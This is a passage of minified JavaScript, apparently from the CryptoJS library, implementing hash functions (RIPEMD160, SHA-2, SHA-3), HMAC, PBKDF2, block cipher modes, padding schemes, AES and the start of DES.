9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 